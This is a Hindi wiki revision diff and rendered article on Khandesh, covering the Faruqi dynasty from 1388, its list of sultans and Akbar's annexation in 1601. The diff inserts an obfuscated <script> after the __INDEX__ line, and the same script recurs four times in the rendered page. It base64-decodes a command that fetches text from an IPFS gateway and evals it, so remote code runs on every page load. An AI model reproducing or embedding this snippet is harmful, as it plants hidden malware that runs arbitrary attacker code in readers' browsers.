"ख़ानदेश" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 1: पंक्ति 1:
[[तुग़लक़ वंश]] के पतन के समय [[फ़िरोज़शाह तुग़लक़]] के सूबेदार मलिक अहमद राजा फ़ारूक़ी ने [[नर्मदा नदी]] एवं [[ताप्ती नदी]] के बीच 1388 ई. में '''ख़ानदेश''' की स्थापना की और साथ ही [[फ़ारूक़ी वंश]] की नींव रखी। इसका नाम ख़ानदेश इस लिए पड़ा, क्योंकि यहाँ के सभी सुल्तानों ने ख़ान की उपाधि से शासन किया। इन शासकों ने [[बुरहानपुर]] को अपनी राजधानी एवं [[असीरगढ़]] को सैनिक मुख्यालय बनाया। मलिक राजा फ़ारूक़ी की 29 अप्रैल, 1399 को मृत्यु हो गयी। ख़ानदेश के अन्य शासक निम्नलिखित थे-
+
[[तुग़लक़ वंश]] के पतन के समय [[फ़िरोज़शाह तुग़लक़]] के [[सूबेदार]] मलिक अहमद राजा फ़ारूक़ी ने [[नर्मदा नदी]] एवं [[ताप्ती नदी]] के बीच 1388 ई. में '''ख़ानदेश''' की स्थापना की और साथ ही [[फ़ारूक़ी वंश]] की नींव रखी। इसका नाम ख़ानदेश इस लिए पड़ा, क्योंकि यहाँ के सभी सुल्तानों ने ख़ान की उपाधि से शासन किया। इन शासकों ने [[बुरहानपुर]] को अपनी राजधानी एवं [[असीरगढ़]] को सैनिक मुख्यालय बनाया। मलिक राजा फ़ारूक़ी की 29 अप्रैल, 1399 को मृत्यु हो गयी। ख़ानदेश के अन्य शासक निम्नलिखित थे-
  
 
#नासिर ख़ान फ़ारूक़ी (1399 से 1438 ई.)
 
#नासिर ख़ान फ़ारूक़ी (1399 से 1438 ई.)
पंक्ति 17: पंक्ति 17:
 
आदिल ख़ान द्वितीय के बाद के [[फ़ारूक़ी वंश]] के शासक शक्तिहीन थे। अतः साम्राज्य दलगत राजनीति के अन्तर्गत रहा, जिसका लाभ उठाकर [[अहमदनगर]] एवं [[गुजरात]] ने ख़ानदेश के मामले में हस्तक्षेप प्रारम्भ कर दिया। अन्ततः 1601 ई. में [[अकबर]] ने ख़ानदेश के अन्तिम शासक बहादुर ख़ान को परास्त कर उसको [[मुग़ल]] साम्राज्य में मिला लिया। इस राज्य में स्थापत्य कला के क्षेत्र में लौकिक तथा धार्मिक निर्माण कार्य हुआ, उसमें [[मालवा]] तथा गुजरात की वास्तुकला शैली का व्यापक प्रभाव पड़ा है।
 
आदिल ख़ान द्वितीय के बाद के [[फ़ारूक़ी वंश]] के शासक शक्तिहीन थे। अतः साम्राज्य दलगत राजनीति के अन्तर्गत रहा, जिसका लाभ उठाकर [[अहमदनगर]] एवं [[गुजरात]] ने ख़ानदेश के मामले में हस्तक्षेप प्रारम्भ कर दिया। अन्ततः 1601 ई. में [[अकबर]] ने ख़ानदेश के अन्तिम शासक बहादुर ख़ान को परास्त कर उसको [[मुग़ल]] साम्राज्य में मिला लिया। इस राज्य में स्थापत्य कला के क्षेत्र में लौकिक तथा धार्मिक निर्माण कार्य हुआ, उसमें [[मालवा]] तथा गुजरात की वास्तुकला शैली का व्यापक प्रभाव पड़ा है।
  
{{प्रचार}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
{{लेख प्रगति
 
|आधार=
 
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 32: पंक्ति 24:
 
[[Category:मध्य काल]]
 
[[Category:मध्य काल]]
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
__INDEX__
+
__INDEX__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

06:40, 2 दिसम्बर 2012 के समय का अवतरण

तुग़लक़ वंश के पतन के समय फ़िरोज़शाह तुग़लक़ के सूबेदार मलिक अहमद राजा फ़ारूक़ी ने नर्मदा नदी एवं ताप्ती नदी के बीच 1388 ई. में ख़ानदेश की स्थापना की और साथ ही फ़ारूक़ी वंश की नींव रखी। इसका नाम ख़ानदेश इस लिए पड़ा, क्योंकि यहाँ के सभी सुल्तानों ने ख़ान की उपाधि से शासन किया। इन शासकों ने बुरहानपुर को अपनी राजधानी एवं असीरगढ़ को सैनिक मुख्यालय बनाया। मलिक राजा फ़ारूक़ी की 29 अप्रैल, 1399 को मृत्यु हो गयी। ख़ानदेश के अन्य शासक निम्नलिखित थे-

  1. नासिर ख़ान फ़ारूक़ी (1399 से 1438 ई.)
  2. मीरान आदिल ख़ान फ़ारूक़ी (1438 से 1441 ई.)
  3. मीरान मुबारक ख़ान फ़ारूक़ी (1441 से 1457 ई.)
  4. मीरान आरदल ख़ान द्वितीय (1457 से 1501 ई.)
  5. दाऊद ख़ान (1501 से 1508 ई.)
  6. ग़ज़नी ख़ान (1508 ई.)
  7. आजम हुमायूँ आदिल ख़ाँ तृतीय (1509 से 1520 ई.)
  8. मीरान मुहम्मद ख़ान प्रथम (1520 से 1535 ई.)
  9. मीरान मुबारक शाह फ़ारूक़ी (1535 से 1566 ई.)
  10. मीरान मुहम्मद शाह फ़ारूक़ी (1566 से 1576 ई.)
  11. हसन ख़ान फ़ारूक़ी (1576 ई.)
  12. राजा अली ख़ान (1576 से 1597 ई.)
  13. बहादुर ख़ान (1597 से 1600 ई.)

आदिल ख़ान द्वितीय के बाद के फ़ारूक़ी वंश के शासक शक्तिहीन थे। अतः साम्राज्य दलगत राजनीति के अन्तर्गत रहा, जिसका लाभ उठाकर अहमदनगर एवं गुजरात ने ख़ानदेश के मामले में हस्तक्षेप प्रारम्भ कर दिया। अन्ततः 1601 ई. में अकबर ने ख़ानदेश के अन्तिम शासक बहादुर ख़ान को परास्त कर उसको मुग़ल साम्राज्य में मिला लिया। इस राज्य में स्थापत्य कला के क्षेत्र में लौकिक तथा धार्मिक निर्माण कार्य हुआ, उसमें मालवा तथा गुजरात की वास्तुकला शैली का व्यापक प्रभाव पड़ा है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>